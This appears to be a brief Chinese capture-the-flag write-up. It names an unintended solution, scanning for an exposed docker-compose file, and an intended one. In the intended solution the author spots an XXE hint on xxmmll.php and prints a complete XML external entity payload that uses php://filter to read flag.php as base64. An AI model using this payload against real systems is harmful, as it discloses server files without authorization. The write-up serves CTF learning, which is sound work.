非预期解

直接扫到部署的docker-compose配置文件，拿到flag

预期解

在返回包中出现xxmmll.php

访问，很明显的XXE提示

输入下面内容读取flag

<?xml version = "1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php"> ]> <name>&xxe;</name>